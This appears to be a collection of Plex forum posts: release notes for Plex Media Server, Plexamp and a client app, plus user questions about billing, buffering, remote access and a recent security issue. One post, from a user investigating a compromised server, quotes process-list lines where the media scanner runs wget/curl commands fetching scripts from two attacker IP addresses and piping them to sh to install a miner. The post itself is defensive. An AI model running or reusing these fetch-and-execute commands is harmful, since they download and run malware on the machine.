Container is up to date but oh yea....lots of port scans

I logged into Plex today and saw that I could purchase the Plex Pass; I thought it was a mistake, and there was also an update. But after the update, the message was still there. According to my billing history, I paid €169 for the Lifetime Pass on August 31, 2020, and have been using it continuously ever since. Now, though, it seems to be gone, since my billing history also says “Ended Oct. 20.”

What happend, what can i do?

ITEMS ADDED:

• (Metadata) Added support for reading artist and album metadata from NFO files in music libraries (PM-6153)
• (Network) Ignore manually specified public port for IPv6 connections (PM-5364)
• (Network) Send subnet information to plex.tv so IPv6 and non-private local connections are detected correctly (PM-5364)
• Updated Web to 4.162.1

ITEMS FIXED:

• (Butler) Scheduled loudness analysis ran on movie and TV libraries that had it disabled (PM-6263)
• (DVR) Harden validation of the post-processing script setting (PM-5538)
• (Metadata) Stream display titles left out the format for Plex for Roku (PM-5906)
• (Music) The record label was not read from the ID3v2 publisher (TPUB) tag in MP3 files (PM-3800)
• (Network) Added IPv6 support to the preferred network interface (PM-6017)
• (Network) Try every resolved address when connecting to pubsub servers (PM-5760)
• (Remote Access) The server could keep reporting its port as mapped after remote access was disabled, which left Plex Web waiting indefinitely (PM-6260)
• (Security) Address a library scoping issue in search results (PM-5958)
• (Security) Fixed request locality when the server's local network interface is unknown (PM-6183)
• (Security) Increase security on requests arriving through a proxy (PM-6201)
• (Thumbnails) Video preview thumbnail generation on Windows no longer leaves temporary index files behind; bundle cleanup removes existing ones (PM-3536)
• (Transcoder) The server could crash while building an HLS playlist for media without a video stream (PM-6226)
• (UltraBlur) Colors were computed from the thumbnail when an item had no artwork of its own, so episodes and seasons did not match the background shown by clients (PM-4282)

DOWNLOAD LINK: https://www.plex.tv/media-server-downloads/

Plexamp v4.50.20-beta.30

Desktop is on the beta channel now, Android is in Play testing, and iOS is on its way to TestFlight.

Added

• Playing to a Caldera player shows a light for how pure its signal path is; tap it to see every step from file to speaker (needs the latest Caldera).
• Tablets use the desktop layout, with a sidebar and player bar.
• Desktop: a new setting, Always Show Artist Picture, shows the artist’s picture even over background art.

Changed

• Desktop: artist collections follow the page’s Grid, List or Carousel setting, like the albums.
• Desktop: artist background art shows at its own shape, so less of it is cropped.
• Long menus open scrolled to the selected option, such as the current visualizer or sort.

Fixed

• Background gradients no longer split into two halves with a hard diagonal edge on some albums.
• Desktop: sidebar icons stay legible in light mode with pale album art.

Source: https://forums.plex.tv/t/221280/125

Was running on windows, a version before the recent fixes. I had neglected updating for some time because I'm a relatively new user and did not see the updates come in or the auto-update function. Everything has since been updated. My question is whether I have been affected, or if I even can be affected? My server is only available locally, I do not pay for remote access and the settings for that have always been turned off. It is only on my local network. If I could be affected, how would I check on windows?

Apologies for the inexperienced questions.

I updated the app on my nvidia shield last week and it looks really nice and all, but the photos aren’t there. The old app could view the photos folders that I have set up. The server still shows them, but not on the TV app. Can I get them back?

I have friends and family that add movies to their playlist and are downloaded through radarr. They don't tell me to remove them when they're done watching them or finds out the movie sucks and should be removed.

Like playlists for downloads, is there a tool to monitor a playlist and automatically delete movies listed in them from the server?

Edit...just wanted to add the users have the technical know how of 15 year old dog. That means I'll be the only one doing the maintenance. If I accidentally marked a movie for deletion and it gets deleted before they have a chance to watch it, they'll just add it to their playlist again, which is fine with me. I have some classic movies that have not been watched in a while but is good to have around, so I don't want an automated rule to delete them. I'm ok with me manually marking them for deletion as I see them while I browse through the library. Preferably done via the Plex app from either my Android TV or phone.

Has anyone else experienced more buffering and payback issues on remote streaming? Before the update, streaming a 20Mbps encode was fine. After, not so much. Both connections are strong and it's through tailscale, restarted both sides equipment.

So I followed along with AI's instructions and I think it led me down a wrong or incomplete path.

I recently updated today from DSM 6 to 7. Backed up my Plex library to a USB drive, uninstalled Plex, ran this manually: PlexMediaServer-1.43.5.11029-6bf8af3f0-x86_64_DSM7

Everything looks fine, but I don't have access to my old library of movies/TV shows. I now have a "PlexMediaServer" folder which is new. Regardless, the library is still available in the old Plex folder.

So what should I do next to get my old library back without having to scrape metadata all over again.

I need to pay my ISP in Australia to have a static IP and I think I read on the Plex site that friends can stream higher quality bitrate if I portforward my router but I still have a dynamic IP, does opening the port do anything on a dynamic IP?

Help. I’m 1500 miles from my server. I can stream my iOS PlexAmp no problem.
Thankfully I can at least access my music.
But when I try streaming movies from the iOS Plex app, I’m showing that my server is currently unavailable.
I’ve tried accessing it through WiFi and through cellular networks.
My server is running on a Win11 machine. Plex server is running the latest version. Prior to leaving for this trip I triple checked
that my server was accessible remotely. Ports are configured per Plex instructions.
I know I’m sol till I get back home. Any advice is welcome, comments on switching to Linux, though well intentioned is a no go.
Thanks in advance.

It looks like it happened overnight for me - watched a movie yesterday.

Today the same movie goes into endless buffering.

AppleTV 3rd gen.

tvOS 27.0

Client version 2026.20.0(2099)

Plex Server v1.43.4.10903

I have apps auto-update on in my AppleTV.

The server is running the latest version and I haven't touched it for a while

Is this caused by AppleTV Plex app update - can't find when my Plex app was updated exactly but it looks line a new version was release 6 days ago.

Any fix advice?

Thanks.

Hi there,

I use Plex heavily for streaming music but struggle with identifying uncompressed files. Often times I’ll have the .mp3 and an uncompressed .wav copy (for DJing). Many of these are promotional content (radio) so I’ll receive them in both formats - artist_name/album_name/mp3/filename.mp3 and wav/filename.wav.

I understand that .wav doesn’t contain metadata, but the file names are identical, and located in the same artist/album subdirectory as the .mp3 files.

Yet, the .wav files are all identified as random various artist tracks.

Curious if anyone has any tips for how to better manage these music files.

The 9.20.12 update has been published to the official channel.

NEW:

• Add the music mini player to the user switch screen.
• Play theme music on movie details screens.
• Show anonymous users a sign-up upsell on Watchlist and Lists.

FIXES:

• Fix a Live TV guide crash when a program is missing its details.
• Fix display issues when holding down a direction key on a collections screen.
• Fix focus and scrolling in music collections.
• Fix possible crashes at startup and during music playback.
• Fix “See all”/“Browse…” failing on some Discover screen rows.
• Keep a hub on the item it was on when returning to a screen.
• Show Other Videos results in the All search tab.

Source: https://forums.plex.tv/t/9463/547

What do I need to do to improve my playback stream? With the local file I don't encounter this problem but when streaming I do.

Tell me what setting I need to stop this from happening

Relevant info:

Plex Pass

PMS 1.43.5.11029

FireTV version 2026.20.0 (971050504)

I have plenty of bandwidth in both directions (I can currently watch a 90Mbit/sec DirectPlay in FL from my server in TX, for example)

QNAP TS-451D2, QNAP says Intel® HD Graphics 600, which has QSV, Plex Dashboard says "(hw)" transcodes.

Whenever (and this has been going on for a while) I watch a transcoded video it always pauses to buffer. I have "Nerd Stats" turned on in my Fire Stick player, and when I pause it for a few seconds then let it play the "Engine" Box will show "Buffer: X seconds ahead" but it never starts to refill the buffer, and will eventually go to 0, at which point it pauses again (and usually for good until I manually pause it to give the buffer time to fill up again). Doesn't matter if it's audio or video for the Transcode reason.

Any ideas on why it's not refilling the transcode buffer until it's paused? This is making transcoded videos unwatchable!

As someone who only really uses Plex in the most basic of ways - having it open on my laptop so I can watch downloaded stuff on my PS5 on my local network - I'm not in any danger, right? The issue has to do with actual plex servers and whatnot?

I just want to be clear since everyone is talking about servers and all that.

I don't need help with fixing the issue, I'm trying to figure out how they embedded it and how it triggers. So far I've figured out that they must have configured the media scanner to start their process. See the below snippet, you can see the media scanner PID is 24194 which is spawned from the default plex application from the systemd service configuration. Then all the sh commands come from that. So, my main question is, where can I find how the media scanner is configured? Something in it's configuration is creating these shell commands to try and pull down their miner.

plex 2248 1 0 08:36 ? 00:01:42 /usr/lib/plexmediaserver/Plex Media Server plex 24194 2248 0 11:37 ? 00:00:00 /usr/lib/plexmediaserver/Plex Media Scanner --match --type 8 --log-file-suffix Matcher --files @/tmp/4073-be72-5139-d6fd.txt --match-tag-mode=all plex 24197 24194 0 11:37 ? 00:00:00 /bin/sh -c wget http://217.60.194.116/plex -O-|sh plex 24198 24194 0 11:37 ? 00:00:00 /bin/sh -c (wget http://217.60.194.116/plex -O- || curl http://217.60.194.116/plex -o-)|sh plex 24199 24194 0 11:37 ? 00:00:00 /bin/sh -c (wget http://217.60.194.116/x -O- || curl http://217.60.194.116/x -o-)|sh plex 24200 24194 0 11:37 ? 00:00:00 /bin/sh -c (wget http://77.90.185.205/m/sh -O- || curl http://77.90.185.205/m/sh -o-)|sh

I have already blocked outbound network traffic to those 2 IP, and one of them is a known bot farm according to some quick searching.

Chain OUTPUT (policy ACCEPT 12M packets, 17G bytes) pkts bytes target prot opt in out source destination 43843 2631K DROP all -- * * 0.0.0.0/0 217.60.194.116 43542 2613K DROP all -- * * 0.0.0.0/0 77.90.185.205

Plexamp v4.50.20-beta.29

This one rolls up the last few betas. Desktop is on the beta channel now, Android is in Play testing, and iOS is in TestFlight.

Added

• The experimental Chromecast receiver is now available to everyone: Settings › Remote Control › Use Experimental Receiver, then restart Plexamp.
• Caldera players’ settings can take a file, so you can import an AutoEQ profile as an EQ preset or upload a room-correction filter (needs a Caldera beta that isn’t out yet).

Fixed

• Switching libraries from CarPlay or Android Auto works again.
• CarPlay: no more crash or freeze when playback starts just as it connects, such as from a Shortcut.
• CarPlay: shuffling an album opened from the Home screen plays it instead of loading forever.
• Fixed a crash while another device is fetching a file from Plexamp.
• Visualizers should line up better with what you hear, including over Bluetooth and AirPlay.
• A section’s › sits beside its title instead of at the far edge.
• Compilations are listed by title, with the full A-Z bar.
• Rows in sorted library lists are evenly spaced.
• An artist’s Similar Artists rows follow the page’s Grid or List setting.
• Windows: fixed a crash at launch for some people.
• macOS: keys work as soon as the window opens, without a click first.
• Linux: the cursor no longer gets stuck as a resize arrow.
• Desktop: album pages sit on the cover’s own colors, and an artist’s background art spans the top of the page without flickering.
• Desktop: the sidebar meets the player bar without a seam, and arrowing left lands on the right row.

Source: https://forums.plex.tv/t/221280/124

I hate the new client. Since the update, all DTS 5.1 video have no audio.

AAC , DTS 7.1, AC3, EAC5.1, HD-DTS, all work fine.

Only DTS 5.1 have no audio.

Only way is I force to transcode, which is stupid.

Even if I disable Audio Passthough, still no audio.

Also, why the Audio passthough can only set what codec to passthough if I select Optical?

When I select HDMI, I can't do any selection.

Plex need to do less "New Feature" like Live TV, PVR, free movie, etc. Focus on get a soild/stable app.

Anyone know how to check this? Is it just a matter of SSHing into the device and following the instructions from this comment?

Scenario: I'm watching live TV (from HDHomerun tuner) and things are great until it later starts stutter/buffering after about an hour of having watched live TV. For example, I sit down to watch a TV show that is airing live -- sporting events a big example -- from local broadcasters, using a good over-the-air antenna that delivers a very strong signal. It show nicely, looks great and sounds great until right around an hour later. At that point the circle of death starts, buffering and stuttering. It tries to pick up but lasts only about 5 - 10 seconds before it repeats over and over again.

Back out of the app entirely, restart the app and go back to live TV again and it shows great again.

Plex is current, running from Unraid docker.

Note that I can use Jellyfin to watch and don't have the issue at all. Watching recorded content or content from my library of content doesn't have any issue. It's just live TV coming from the HDHomerun tuner(s)